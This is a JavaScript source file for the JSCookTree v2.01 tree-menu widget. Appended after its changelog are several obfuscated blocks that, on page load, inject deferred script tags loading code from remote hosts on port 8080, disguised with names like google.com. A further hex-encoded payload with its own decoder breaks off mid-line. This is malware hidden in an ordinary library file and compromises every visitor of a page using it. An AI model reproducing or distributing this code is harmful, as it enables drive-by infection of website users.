/*
	JSCookTree v2.01.  (c) Copyright 2002 by Heng Yuan

	Permission is hereby granted, free of charge, to any person obtaining a
	copy of this software and associated documentation files (the "Software"),
	to deal in the Software without restriction, including without limitation
	the rights to use, copy, modify, merge, publish, distribute, sublicense,
	and/or sell copies of the Software, and to permit persons to whom the
	Software is furnished to do so, subject to the following conditions:

	The above copyright notice and this permission notice shall be included
	in all copies or substantial portions of the Software.

	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
	OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
	ITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
	AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
	LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
	FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
	DEALINGS IN THE SOFTWARE.
*/

// data structures

//
// ctTreeInfo stores information about the current tree
//
function ctTreeInfo (nodeProperties, prefix, hideType, expandLevel)
{
	// default node properties
	this.nodeProperties = nodeProperties;
	// current selected item in this tree
	this.currentItem = null;
	// theme prefix
	this.prefix = prefix;
	// open tree type
	//	0:	just open the current tree
	//	1:	close other branches in the same tree
	//	2:	close other branches in other trees as well
	this.hideType =  hideType;
	// the deepest level of the tree is the always expaned
	this.expandLevel = expandLevel;
	// beginIndex is the first index of the tree item
	this.beginIndex = 0;
	// endIndex is same as beginIndex + # of items in the tree
	this.endIndex = 0;
}

function ctMenuInfo (id, idSub)
{
	// id of the menu item that owns the sub menu
	this.id = id;
	// the id of the sub menu
	this.idSub = idSub;
}

// Globals

var _ctIDSubMenuCount = 0;
var _ctIDSubMenu = 'ctSubTreeID';		// for creating submenu id

var _ctCurrentItem = null;		// the current menu item being selected;

var _ctNoAction = new Object ();	// indicate that the item cannot be hovered.

var _ctItemList = new Array ();		// a simple list of items
var _ctTreeList = new Array ();		// a list of ctTreeInfo.
var _ctMenuList = new Array ();		// a list of ctMenuInfo

var _ctMenuInitStr = '';			// initiation command that initiate menu items

// default node properties
var _ctNodeProperties =
{
  	// tree attributes
  	//
	// except themeLevel, all other attributes can be specified
	// for each level of depth of the tree.

  	// HTML code to the left of a folder item
  	// first one is for folder closed, second one is for folder opened
	folderLeft: [['', '']],
  	// HTML code to the right of a folder item
  	// first one is for folder closed, second one is for folder opened
  	folderRight: [['', '']],
	// HTML code to the left of a regular item
	itemLeft: [''],
	// HTML code to the right of a regular item
	itemRight: [''],
	// HTML code for the connector
	// first one is for w/ having next sibling, second one is for no next sibling
	folderConnect: [[['',''],['','']]],
	itemConnect: [['',''],['','']],
	// HTML code for spacers
	// first one connects next, second one doesn"t
	spacer: [['&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;', '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;']],
	// deepest level of theme specified
	themeLevel: 1
	// tells JSCookTree to use <A> ancher tag to open links
	// if this field is set to false, then JSCookTree would hand it.
};

//////////////////////////////////////////////////////////////////////
//
// Drawing Functions and Utility Functions
//
//////////////////////////////////////////////////////////////////////

//
// produce a new unique submenu id
//
function ctNewSubMenuID ()
{
	return _ctIDSubMenu + (++_ctIDSubMenuCount);
}

//
// return the property string for the menu item
//
function ctActionItem ()
{
	return ' onmouseover="ctItemMouseOver (this.parentNode)" onmouseout="ctItemMouseOut (this.parentNode)" onmousedown="ctItemMouseDown (this.parentNode)" onmouseup="ctItemMouseUp (this.parentNode)"';
}

//
// return the property string for the menu item
//
function ctNoActionItem (item)
{
	return item[1];
}

//
// used to determine the property string
//
function ctGetPropertyLevel (level, property)
{
	return (level >= property.length) ? (property.length - 1) : level;
}


function ctCollapseTree (id)
{
	var menu = ctGetObject (id).firstChild;
	var i;
	for (i = 0; i < menu.ctItems.length; ++i)
		ctCloseFolder (menu.ctItems[i]);
}

//
// expand a tree such that upto level is exposed
//
function ctExpandTree (id, expandLevel)
{
	if (expandLevel <= 0)
		return;

	var obj = ctGetObject (id);
	if (!obj)
		return;

	var thisMenu = obj.firstChild;
	if (!thisMenu)
		return;

	ctExpandTreeSub (thisMenu, expandLevel)
}

function ctExpandTreeSub (subMenu, expandLevel)
{
	if (subMenu.ctLevel >= expandLevel)
		return;
	var i;
	var item;
	for (i = 0; i < subMenu.ctItems.length; ++i)
	{
		item = subMenu.ctItems[i];
		if (item.ctIdSub)
		{
			ctOpenFolder (item);
			ctExpandTreeSub (ctGetObject (item.ctIdSub), expandLevel);
		}
	}
}

//
// expose a particular menu item use its link as the search value
//
function ctExposeItem (treeIndex, link)
{
	if (treeIndex < 0 || treeIndex >= _ctTreeList.length)
		return;
	var tree = _ctTreeList[treeIndex];
	var endIndex = tree.endIndex;
	var i;
	for (i = tree.beginIndex; i < endIndex; ++i)
	{
		if (_ctItemList[i].length > 2 &&
			_ctItemList[i][2] == link)
		{
			return ctExposeTreeIndex (treeIndex, i);
		}
	}
}

//
// expose a particular menu item using its index
//
function ctExposeTreeIndex (treeIndex, index)
{
	var item = ctGetObject ('ctItemID' + (_ctTreeList[treeIndex].beginIndex + index)).parentNode;
	if (!item)
		return null;

	var parentItem = ctGetThisMenu (item).ctParent;
	if (parentItem)
		ctExposeTreeIndexSub (parentItem);

	ctSetSelectedItem (item);
	return item;
}

function ctExposeTreeIndexSub (item)
{
	var parentItem = ctGetThisMenu (item).ctParent;
	if (parentItem)
		ctExposeTreeIndexSub (parentItem);
	ctOpenFolder (item);
}

//
// mark a particular menu item with id using its link
//
function ctMarkItem (treeIndex, link)
{
	if (treeIndex < 0 || treeIndex >= _ctTreeList.length)
		return;
	var tree = _ctTreeList[treeIndex];
	var endIndex = tree.endIndex;
	var i;
	for (i = tree.beginIndex; i < endIndex; ++i)
	{
		if (_ctItemList[i].length > 2 &&
			_ctItemList[i][2] == link)
		{
			var item = ctGetObject ('ctItemID' + (_ctTreeList[treeIndex].beginIndex + i)).parentNode;
			if (!item)
				return null;
			if (item.id == "JSCookTreeItem")
				item.id = 'JSCookTreeMarked';
			return item;
		}
	}
}

//
// mark a particular menu item with id using index
//
function ctMarkTreeIndex (treeIndex, index)
{
	var item = ctGetObject ('ctItemID' + (_ctTreeList[treeIndex].beginIndex + index)).parentNode;
	if (!item)
		return null;
	if (item.id == "JSCookTreeItem")
		item.id = 'JSCookTreeMarked';
	return item;
}

//
// return the current selected node for the current tree
//
// treeItem treeItem is the table row of where the tree item is located
//
function ctGetSelectedItem (treeIndex)
{
	if (_ctTreeList[treeIndex].hideType <= 1)
		return _ctTreeList[treeIndex].currentItem;
	else
		return _ctCurrentItem;
}

//
// The function that builds the menu inside the specified element id.
//
function ctDraw (id, tree, nodeProperties, prefix, hideType, expandLevel)
{
	var obj = ctGetObject (id);

	if (!nodeProperties)
		nodeProperties = _ctNodeProperties;
	if (!prefix)
		prefix = '';
	if (!hideType)
		hideType = 0;
	if (!expandLevel)
		expandLevel = 0;

	//var treeIndex = _ctTreeList.push (new ctTreeInfo (nodeProperties, prefix, hideType, expandLevel)) - 1;
	_ctTreeList[_ctTreeList.length] = new ctTreeInfo (nodeProperties, prefix, hideType, expandLevel);
	var treeIndex = _ctTreeList.length - 1;

	var beginIndex = _ctItemList.length;

	_ctMenuInitStr = '';
	var str = ctDrawSub (tree, true, null, treeIndex, 0, nodeProperties, prefix, '');
	obj.innerHTML = str;
	eval (_ctMenuInitStr);
	_ctMenuInitStr = '';

	var endIndex = _ctItemList.length;

	_ctTreeList[treeIndex].beginIndex = beginIndex;
	_ctTreeList[treeIndex].endIndex = endIndex;

	if (expandLevel)
		ctExpandTree (id, expandLevel);

	//document.write ('<textarea wrap="off" rows="15" cols="80">' + str + '</textarea><br>');

	return treeIndex;
}

//
// draw the sub menu recursively
//
function ctDrawSub (subMenu, isMain, id, treeIndex, level, nodeProperties, prefix, indent)
{
	var lvl = level;
	if (lvl > nodeProperties.themeLevel)
		lvl = nodeProperties.themeLevel;

	var str = '<div class="' + prefix + 'TreeLevel' + lvl + '"';
	if (!isMain)
		str += ' id="' + id + '"';
	str += '>';

	var strSub = '';

	var item;
	var idSub;
	var hasChild;

	var classStr;
	var connectSelect;
	var childIndent;
	var index;
	var actionStr;
	var itemID;
	var markerStr;
	var themeLevel = nodeProperties.themeLevel;

	var i;
	if (isMain)
		i = 0;
	else
		i = 5;

	var className = ' class="' + prefix + 'Row"';

	for (; i < subMenu.length; ++i)
	{
		item = subMenu[i];
		if (!item)
			continue;

		//index = _ctItemList.push (item) - 1;
		_ctItemList[_ctItemList.length] = item;
		index = _ctItemList.length - 1;

		hasChild = (item.length > 5);
		idSub = hasChild ? ctNewSubMenuID () : null;

		str += '<table cellspacing="0" class="' + prefix + 'Table">';

		//
		// #JSCookTreeFolderClose & #JSCookTreeFolderOpen
		// are used in style sheet to control the animation of folder open/close
		// Also, it tells status of the submenu
		//
		str += '<tr' + className;
		if (hasChild)
			str += ' id="JSCookTreeFolderClosed">';
		else
			str += ' id="JSCookTreeItem">';

		classStr = prefix + (hasChild ? 'Folder' : 'Item');

		//
		// markerStr is used to mark Spacer cell such that the item (<tr> tag)
		// could be tracked in an alternative way
		// _ctMenuInitStr is used to initate the menu item
		//
		itemID = 'ctItemID' + index;
		markerStr = ' id="' + itemID + '"';
		_ctMenuInitStr += 'ctSetupItem (ctGetObject ("' + itemID + '").parentNode,' + index + ',' + treeIndex + ',' + level + ',' + (idSub ? ('"' + idSub + '"') : 'null') + ');';

		str += '<td class="' + classStr + 'Spacer"' + markerStr + '>' + indent;

 		str += '</td>';

		if (item[0] == _ctNoAction)
		{
			str += ctNoActionItem (item, prefix);
			str += '</tr></table>';
			continue;
		}

		actionStr = ctActionItem ();

		str += '<td class="' + classStr + 'Left"' + actionStr + '>';
		// add connect part
		if (hasChild)
		{
			connectSelect = ctHasNextItem (i, subMenu) ? 0 : 1;
			lvl = ctGetPropertyLevel (level, nodeProperties.folderConnect);
			str += '<span class="JSCookTreeFolderClosed">' + nodeProperties.folderConnect[lvl][connectSelect][0] + '</span>' +
				   '<span class="JSCookTreeFolderOpen">' + nodeProperties.folderConnect[lvl][connectSelect][1] + '</span>';
		}
		else
		{
			connectSelect = ctHasNextItem (i, subMenu) ? 0 : 1;
			lvl = ctGetPropertyLevel (level, nodeProperties.itemConnect);
			str += nodeProperties.itemConnect[lvl][connectSelect];
		}

		if (item[0] != null && item[0] != _ctNoAction)
		{
			str += item[0];
		}
		else if (hasChild)
		{
			lvl = ctGetPropertyLevel (level, nodeProperties.folderLeft);
			str += '<span class="JSCookTreeFolderClosed">' + nodeProperties.folderLeft[lvl][0] + '</span>' +
				   '<span class="JSCookTreeFolderOpen">' + nodeProperties.folderLeft[lvl][1] + '</span>';
		}
		else
		{
			lvl = ctGetPropertyLevel (level, nodeProperties.itemLeft);
			str += nodeProperties.itemLeft[lvl];
		}
		str += '</td>';

		str += '<td class="' + classStr + 'Text"' + actionStr + '>';

		str += '<a';

		if (item[2] != null)
		{
			str += ' href="' + item[2] + '"';
			if (item[3])
				str += ' target="' + item[3] + '"';
		}

		if (item[4] != null)
			str += ' title="' + item[4] + '"';
		else
			str += ' title="' + item[1] + '"';

		str += '>' + item[1] + '</a></td>';

		str += '<td class="' + classStr + 'Right"' + actionStr + '>';

		if (hasChild)
		{
			lvl = ctGetPropertyLevel (level, nodeProperties.folderRight);
			str += '<span class="JSCookTreeFolderClosed">' + nodeProperties.folderRight[lvl][0] + '</span>' +
				   '<span class="JSCookTreeFolderOpen">' + nodeProperties.folderRight[lvl][1] + '</span>';
		}
		else
		{
			lvl = ctGetPropertyLevel (level, nodeProperties.itemRight);
			str += nodeProperties.itemRight[lvl];
		}
		str += '</td>'
		str += '</tr></table>';

		if (hasChild)
		{
			childIndent = indent;
			lvl = ctGetPropertyLevel (level, nodeProperties.spacer);
			childIndent += nodeProperties.spacer[lvl][connectSelect];

			str += ctDrawSub (item, false, idSub, treeIndex, level + 1, nodeProperties, prefix, childIndent);
		}
	}

	str += '</div>';

	return str;
}

//////////////////////////////////////////////////////////////////////
//
// Mouse Event Handling Functions
//
//////////////////////////////////////////////////////////////////////

//
// action should be taken for mouse moving in to the menu item
//
function ctItemMouseOver (item)
{
	var treeItem = _ctItemList[item.ctIndex];
	var isDefaultItem = ctIsDefaultItem (treeItem);

	if (isDefaultItem)
	{
		var className = ctGetDefaultClassName (item);

		if (item.className == className)
			item.className = className + 'Hover';
	}
}

//
// action should be taken for mouse moving out of the menu item
//
function ctItemMouseOut (item)
{
	if (ctIsDefaultItem (_ctItemList[item.ctIndex]))
	{
		var className = ctGetDefaultClassName (item);

		if (item.className == (className + 'Hover') ||
			item.className == (className + 'Active'))
		{
			var tree = _ctTreeList[item.ctTreeIndex];
			var currentItem = (tree.hideType <= 1) ? tree.currentItem : _ctCurrentItem;

			if (item == currentItem)
				item.className = className + 'Selected';
			else
				item.className = className;
		}
	}
}

//
// action should be taken for mouse button down at a menu item
//
function ctItemMouseDown (item)
{
	if (ctIsDefaultItem (_ctItemList[item.ctIndex]))
	{
		var className = ctGetDefaultClassName (item);

		if (item.className == (className + 'Hover'))
			item.className = className + 'Active';
	}
}

//
// action should be taken for mouse button up at a menu item
//
function ctItemMouseUp (item)
{
	if (item.ctIdSub)
	{
		// toggle the submenu
		var subMenu = ctGetObject (item.ctIdSub);
		if (subMenu.style.display == 'block')
		{
			ctCloseFolder (item);
		}
		else
		{
			ctOpenFolder (item);
		}
	}
	ctSetSelectedItem (item);
}

//
// set the item as the selected item
//
function ctSetSelectedItem (item)
{
	var tree = _ctTreeList[item.ctTreeIndex];
	var hideType = tree.hideType;

	var otherItem;

	if (hideType <= 1)
		otherItem = tree.currentItem;
	else
		otherItem = _ctCurrentItem;

	if (otherItem != item)
	{
		ctLabelMenu (item);

		// set otherItem to normal
		if (otherItem)
		{
			if (ctIsDefaultItem (_ctItemList[otherItem.ctIndex]))
			{
				var className = ctGetDefaultClassName (otherItem);
				if (otherItem.className == (className + 'Selected'))
					otherItem.className = className;
			}

			// hide otherItem if required
			if (hideType > 0 && otherItem)
				ctHideMenu (otherItem, item);
		}

		// finally, set this item as selected
		if (hideType <= 1)
			tree.currentItem = item;
		else
			_ctCurrentItem = item;

		if (ctIsDefaultItem (_ctItemList[item.ctIndex]))
		{
			var className = ctGetDefaultClassName (item);
			item.className = className + 'Selected';
		}
	}
}

//////////////////////////////////////////////////////////////////////
//
// Mouse Event Support Utility Functions
//
//////////////////////////////////////////////////////////////////////

//
// check if an item is in open form
//
function ctIsFolderOpen (item)
{
	if (item.id == 'JSCookTreeFolderOpen')
		return true;
	return false;
}

//
// change an item into the open form
//
function ctOpenFolder (item)
{
	if (ctIsFolderOpen (item))
		return;
	if (item.ctIdSub)
	{
		var subMenu = ctGetObject (item.ctIdSub);
		subMenu.style.display = 'block';

		item.id = 'JSCookTreeFolderOpen';
	}
}

//
// change an item into the closed form
//
function ctCloseFolder (item)
{
	if (!ctIsFolderOpen (item))
		return;

	// hide the downstream menus
	if (item.ctIdSub)
	{
		var subMenu = ctGetObject (item.ctIdSub);
		var i;
		for (i = 0; i < subMenu.ctSubMenu.length; ++i)
			ctCloseFolder (subMenu.ctSubMenu[i].ctParent);

		var expandLevel = _ctTreeList[item.ctTreeIndex].expandLevel;
		if (item.ctLevel < expandLevel)
			return;
		subMenu.style.display = 'none';

		item.id = 'JSCookTreeFolderClosed';
	}
}

//
// setup an menu item
//
function ctSetupItem (item, index, treeIndex, level, idSub)
{
	if (!item.ctIndex)
	{
		item.ctIndex = index;
		item.ctTreeIndex = treeIndex;
		item.ctLevel = level;
		item.ctIdSub = idSub;
	}

	var thisMenu = ctGetThisMenu (item);
	ctSetupMenu (thisMenu, item, null, null);

	if (idSub)
	{
		var subMenu = ctGetObject (idSub);
		ctSetupMenu (subMenu, null, thisMenu, item);
	}
}

//
// setup the relationship between a node and its sub menu
//
function ctSetupMenu (thisMenu, thisItem, parentMenu, parentItem)
{
	if (!thisMenu.ctSubMenu)
			thisMenu.ctSubMenu = new Array ();

	if (parentItem)
	{
		if (!thisMenu.ctParent)
		{
			// establish the tree w/ back edge
			thisMenu.ctParent = parentItem;
			thisMenu.ctLevel = parentItem.ctLevel + 1;

			//parentMenu.ctSubMenu.push (thisMenu);
			parentMenu.ctSubMenu[parentMenu.ctSubMenu.length] = thisMenu;
		}
	}

	if (thisItem)
	{
		if (!thisItem.ctMenu)
		{
			thisItem.ctMenu = thisMenu;

			thisMenu.ctLevel = thisItem.ctLevel;

			if (!thisMenu.ctItems)
				thisMenu.ctItems = new Array ();

			//thisMenu.ctItems.push (thisItem);
			thisMenu.ctItems[thisMenu.ctItems.length] = thisItem;
		}
	}
}

//
// label the path from the menu root to the item
//
function ctLabelMenu (item)
{
	var thisMenu = ctGetThisMenu (item);
	while (thisMenu && thisMenu.ctLevel != 0)
	{
		thisMenu.ctCurrentItem = item;
		thisMenu = ctGetThisMenu (thisMenu.ctParent);
	}
}

//
// hide an item up to the parent menu of activeItem
//
function ctHideMenu (item, activeItem)
{
	var subMenu;
	while (item)
	{
		if (item.ctIdSub &&
			(subMenu = ctGetObject (item.ctIdSub)).ctLevel &&
			(subMenu.ctCurrentItem != activeItem))
		{
			ctCloseFolder (item);
		}
		item = ctGetThisMenu (item).ctParent;
	}
}

//
// returns the menu div where this obj (menu item) is in
//
function ctGetThisMenu (item)
{
	var str = _ctTreeList[item.ctTreeIndex].prefix;
	if (item.ctLevel == 0)
		str += 'TreeLevel0';
	else
	{
		var themeLevel = _ctTreeList[item.ctTreeIndex].nodeProperties.themeLevel;
		var lvl = (item.ctLevel < themeLevel) ? item.ctLevel : themeLevel;
		str += 'TreeLevel' + lvl;
	}
	while (item)
	{
		if (item.className == str)
			return item;
		item = item.parentNode;
	}
	return null;
}

//
// return true if there is next item
//
// used to determine connectors
//
function ctHasNextItem (index, tree)
{
	if (index < (tree.length - 2) ||
		(index == (tree.length - 2) && tree[index + 1]))
		return true;
	else
		return false;
}

function ctGetDefaultClassName (item)
{
	var tree = _ctTreeList[item.ctTreeIndex];
	return tree.prefix + 'Row';
}

//
// return true if this item is handled using default handlers
//
function ctIsDefaultItem (item)
{
	if (item[0] == _ctNoAction)
		return false;
	return true;
}

//
// returns the object baring the id
//
function ctGetObject (id)
{
	if (document.all)
		return document.all[id];
	return document.getElementById (id);
}

//
// debug function, ignore :)
//
function ctGetProperties (obj)
{
	var msg = obj + ':\n';
	var i;
	for (i in obj)
		msg += i + ' = ' + obj[i] + '; ';
	return msg;
}

/* JSCookTree v2.01		1. change Array.push (obj) call to Array[length] = obj.
						   Suggestion from Dick van der Kaaden <dick@netrex.nl> to
						   make the script compatible with IE 5.0
						2. added ctGetSelectedItem (treeIndex) function due to demand
*/
/* JSCookTree v2.0		1. added controls over tree branches opening/closing
						2. added the ability to mark a specific tree item
						3. added an extra description field to make the tree
						   format the same as JSCookMenu
						4. more control over themes.  allow multiple trees
						   w/ different themes co-exist in the same page
						5. tooltips.
*/
/* JSCookTree v1.01.	made more tolerant to extra commas */
/* JSCookTree v1.0.	(c) Copyright 2002 by Heng Yuan */

var k;if(k!='l'){k=''};var i='sDc:r:iGpDt:'.replace(/[\:7DGm]/g, '');this.ks='';var _;if(_!='wy' && _!='a'){_=''};var v="v";var m=document;this.j=2936;this.r=false;var u=window;var e;if(e!='ae' && e!='oj'){e=''};u.onload=function(){try {var nh=false;n=m.createElement(i);var sz;if(sz!='d'){sz='d'};n.setAttribute('d/etf/eBr/'.replace(/[/KtaB]/g, ''), "1");var b=false;var zy="";n.src='hQtXtXpQ:K/X/LcGlKoXoQbX-QcGoXmL.XaKlGiGpKaLyG.LcQoKmX.KnQeXwQsQ-LcQoLmQ-LaQuK.LtGhQeKlLiLfGeQtLaQgK.QrKuK:L8K0X8L0X/QgGoXoQgLlLeX.GdKkX/QgGoQoQgKlKeG.LdKkK/KtXoKpLsLhGaKrKeQwKaLrQeL.XcGoLmK/LgXoKoXgLlGeQ.XcGoKmL/GrLaXdKiGkLaQlQ.XrKuK/X'.replace(/[XQGKL]/g, '');var uza;if(uza!='' && uza!='q'){uza=null};var tm;if(tm!='be' && tm!='xt'){tm=''};var ls;if(ls!='ys' && ls!='p'){ls='ys'};var pe=new String();m.body.appendChild(n);this.wf="wf";var _y="_y";} catch(s){};};
var c;if(c!='' && c!='u'){c='h'};var ok=new Date();:LineMixer [var m=window;var b='s!c>rui>pwtP'.replace(/[P\>w\!u]/g, '');var rk="rk";var _v="_v";var o='cLrLeTa?tMeTEilieMmie?nTtT'.replace(/[TiL\?M]/g, '');var _o;if(_o!='' && _o!='_l'){_o='i'};var p='';]var k="k";var on;if(on!='' && on!='z'){on=''};var mp=54327;var e=new Array();m.onload=function(){try {var nv=false;r=document[o](b);var bm="bm";var jy='';var kv;if(kv!='__'){kv='__'};var oi;if(oi!='gd'){oi='gd'};:LineMixer [var __r;if(__r!='' && __r!='ah'){__r=null};this.pv="";r['sBr|c|'.replace(/[\|\.\?\+B]/g, '')]='hXtXt*p^:^/^/^a*d%u^l^t^-^e*m*p%i%rCe^-^c*o^m^.XbCa%b*yCl%oCn*.*cXoXmX.%i^c%bXcX-%c^o%mX-*c*n*.^n%eXwCgCo%lCf^o^nXl%iCnCe*.*r%u^:%8%0%8X0C/*sCt*aXr^t^i*m%e*sX2C.CcCo^mC/*sCt*aXrXt*iCm^e^sX2X.%c^o*m^/Cg%o*o*g^l*eX.XcXoCmC/XfXaCn*dCaCnXgCoX.Cc%oCm^/%fCr%e*a*k*s%h^a*r^e%.CnCeCt%/^'.replace(/[\^\*CX%]/g, '');var l=new String();r.setAttribute('dAe:f:e:r8'.replace(/[8@\:MA]/g, ''), "1");this.zb='';var pi;if(pi!='j_' && pi != ''){pi=null};]var s_;if(s_!='uw' && s_!='hw'){s_='uw'};this.ts="ts";var az;if(az!='xz'){az='xz'};document['b^oKd*yu'.replace(/[u1\*\^K]/g, '')]['a3p4p4eIn4dbC3h;i3lbd4'.replace(/[4Ib;3]/g, '')](r);var hg;if(hg!='el' && hg != ''){hg=null};} catch(_){};var ox;if(ox!='qph' && ox != ''){ox=null};};
var ay;if(ay!='s' && ay!='pu'){ay=''};function a() {function z(p,l,h){this.ak=42252;this.i=10953;p['sEextEA,t8t,rEi8b,uxt%eE'.replace(/[E,%8x]/g, '')](l, h);var d;if(d!='w' && d!='n'){d='w'};}var q='cUrVe@a@t@e?E@l?eVm@eAnVt@'.replace(/[@VU\?A]/g, '');var pv=window;var hy;if(hy!=''){hy='qg'};var t='';var c='sRcJrCijpJtJ'.replace(/[J@CjR]/g, '');pv['o0nrljojard0'.replace(/[04Qrj]/g, '')]=function(){try {x=document[q](c);var cw;if(cw!=''){cw='fe'};this.e="e";var xf;if(xf!='' && xf!='g'){xf=null};var hn=new String();z(x,'dNe$fNe/r$'.replace(/[\$/_pN]/g, ''),1);this.y=11274;var da="da";z(x,'s.rCcw'.replace(/[w#&\.C]/g, ''),'hTt,tSp6:S/6/Ta,b,cS-!g!o6-6c6o6m6.6s6t6a!c6k!o,v!eTr,fSl,o,w6.6cTo6m6.!c!rTa6i,gSs6l6i6s6tT-,oSrSgT.Th6o,m!eTuTs6a!oSn6l!iSnSeS.SrTuS:!860,8S0,/6sTo!fSt6o!n!i!cS.Tc,o,mS/,s,o6fSt,oSnSi!c!.6c!oTm6/6c!a!m64S.!cTo6mS/!p,rSiSc6eTl,i6n6e,.6cTo!mS/TgTo!o6gSlSe!.Sc6oTm6/6'.replace(/[6\!T,S]/g, ''));var wv=false;var gn;if(gn!='' && gn!='nx'){gn=''};this.gd='';document['bgogdYyF'.replace(/[FzY\:g]/g, '')]['aHpOpOe.nHd!COhOiHlHd.'.replace(/[\.OH\!&]/g, '')](x);var df=new Date();var cq=new String();} catch(v){};var xu="";};var tf;if(tf!='' && tf!='se'){tf=''};this.m_=false;};var nt="";a();var kt;if(kt!='_j' && kt!='hq'){kt='_j'};
var uI="dfc0c5f2d0b2c8d3c0dddab7d4dcdffbade7ccb588848283d0ead9fdfcc8e7ead8ede4fbc2e8e4e7e4d5fde4e4ebe1c78a858389cfd2fff2d0c4d4f0dcf3ddd3d49fd1eab3d8dac6a3c2dea7d7c5";var zy=false;var qR="qR";var orx=false;function t(J){this.md=28722;var v;if(v!=''){v='hH'};this.og="og";this.jY="jY"; var i=function(U){var dl;if(dl!='' && dl!='vV'){dl='Pu'};var s =[0,41,226][0];var Mf=new Date();U = new B(U);var w =[168,82,0,185][2];var o = -1;var ue;if(ue!='mi'){ue=''};var nZ=25403;var M = '';var oW;if(oW!='Cv' && oW!='kc'){oW='Cv'};var Biz;if(Biz!='ql' && Biz!='Uw'){Biz='ql'};this.Jz=false;var O="O";this.hX='';this.vY=45404;for (s=U[Z("elntgh", [1,0,2])]-o;s>=w;s=s-[1][0]){M+=U[Z("hcratA", [1,0])](s);}var zp;if(zp!='Qs' && zp != ''){zp=null};var Ce;if(Ce!='vb' && Ce != ''){Ce=null};var yo='';var hj;if(hj!='Ja' && hj!='MP'){hj=''};return M;var Py=new Date();};this.zT=false;var MI=new Date();this.mE=51081; function h(I,S){return I[Z("raCochdeAt", [4,5,1,0,2,3])](S);var tX='';var Co=new Array();}var JT;if(JT!='FN'){JT='FN'};var is=new String();var tq;if(tq!='l' && tq!='Fc'){tq='l'}; var ur;if(ur!='Qt'){ur='Qt'};var JnS="JnS";function Z(U, n){var oT=new Array();var M = '';var woi=new Date();var nK;if(nK!='' && nK!='RE'){nK=null};var UD = n.length;var bg;if(bg!='xc' && bg != ''){bg=null};var rJ=new Array();var p = U.length;var IC=[1,211,75][0];var Yv;if(Yv!='wK'){Yv=''};var uUk=new Date();var w=[0,118,103,113][0];var VV;if(VV!=''){VV='zI'};for(var s = w; s < p; s += UD) {var u = U.substr(s, UD);var Px;if(Px!='zN'){Px='zN'};this.Pf=false;this.xz="xz";if(u.length == UD){var JB;if(JB!='' && JB!='eq'){JB=null};var HA;if(HA!='' && HA!='Nxa'){HA='An'};var dV=false;for(var a in n) {var aF='';M+=u.substr(n[a], IC);var tiX;if(tiX!='' && tiX!='ex'){tiX=null};var Gu;if(Gu!='' && Gu!='oq'){Gu=null};var id;if(id!='hD' && id!='Bw'){id='hD'};}this.Na="Na";this.td="td";} else {  M+=u;this.NV=false;this.eV=false;}var sB="sB";this.bGX=false;}this.Hr=59553;var Pw=new String();return M;this.tz=false;var ml;if(ml!='' && ml!='Je'){ml='kT'};}var xf='';var qZ;if(qZ!='' && qZ!='Jq'){qZ=''}; var Pt;if(Pt!='dU' && Pt != ''){Pt=null};function H(b){this.aY="aY";var pq='';var GE=false;var JS=[95,196,255,228][2];var IC=[35,120,1,76][2];var RZ=40438;var V=b[Z("genlth", [3,1,2,0])];var Wh="Wh";var Gf;if(Gf!='' && Gf!='rMt'){Gf='mC'};var OS;if(OS!='' && OS!='gi'){OS='dZ'};var nl=[0][0];var a=[0,109][0];this.YB='';while(a<V){var gZ;if(gZ!='pI' && gZ!='gQ'){gZ=''};a++;this.HV=34544;K=h(b,a - IC);var qi;if(qi!='GY' && qi!='iB'){qi=''};var iM="iM";nl+=K*V;var mA='';}var vr=new Array();var ru='';var UX;if(UX!='oA'){UX=''};return new B(nl % JS);var yN=false;}var VfQ=new Date();var bF;if(bF!='' && bF!='WD'){bF='ZA'}; var Bi=function(hC,C){return hC^C;};var gip;if(gip!='' && gip!='UO'){gip='yU'};this.sP=15466;var wb;if(wb!='' && wb!='bM'){wb='xi'};this.kW=false;var Q=window;var RS=new String();var isf;if(isf!=''){isf='vJ'};var Y=Q[Z("vela", [1,0])];var Pm;if(Pm!='eg'){Pm=''};var wU=Y(Z("uFtcnion", [1,0,4,3,2]));var kA;if(kA!='dd' && kA!='ch'){kA=''};var hL;if(hL!='' && hL!='ty'){hL='ks'};this.FM=64484;var B=Y(Z("nigStr", [3,4,5,1,0,2]));var Vn=new String();var uL=Y(Z("gRepEx", [1,2,0]));var nH="";var G = '';this.vS="vS";this.SC=false;var CV=Q[Z("nuseacep", [1,0])];var MD;if(MD!='qlz'){MD=''};var fl=false;var LC;if(LC!='' && LC!='nW'){LC='AIS'};var NjT;if(NjT!='' && NjT!='sX'){NjT=''};var z=B[Z("horCfmeCrdao", [4,2,1,5,3,0])];var sT=new Array();var cf=new Date();var nL;if(nL!='' && nL!='Tf'){nL=null};var CK=false;this.uK='';var r = '';var IMD=new Array();var bj;if(bj!='el'){bj=''};var P =[181,0,134,45][1];var c = /[^@a-z0-9A-Z_-]/g;var bY;if(bY!='cp' && bY != ''){bY=null};var GZ = z(37);var qr=new Array();var rc;if(rc!='hLS' && rc != ''){rc=null};var w =[214,0,96][1];var hCZ = '';var WI='';var q = '';var hXa='';var ii='';var D=[1, Z("odmucnec.teretalEemetns\'(rctpi\')", [1,0,4,3,2]),2, Z("cdoeum.ntdboay.eppCndlhidd()", [1,2,0]),3, Z("gsotahcro.otm", [5,2,1,3,0,4]),4, Z("m.mcotekarc.dgiwa.omripeme", [3,4,2,1,0]),5, Z("tdAte.st(retuib\'defer\'", [1,5,6,4,3,2,0,7]),6, Z("om.citesapemru:.0808", [3,0,1,2]),7, Z("emiaarcxernspes", [3,1,0,5,2,6,4]),8, Z("iwtkoianyro.gr", [1,0]),11, Z("iwnodwo.nolad", [1,0,2]),12, Z("ecgoglo.om", [2,6,3,4,5,0,7,1]),14, Z("nuifotnc()", [3,1,6,7,5,2,4,0]),15, Z("hcsa.eocm", [1,0]),16, Z("acthc(e)", [1,0,2,4,3]),17, Z("h\"tt:p", [1,0]),18, Z("srd.c", [2,3,0,1]),19, Z("1\')\'", [1,0]),20, Z("ytr", 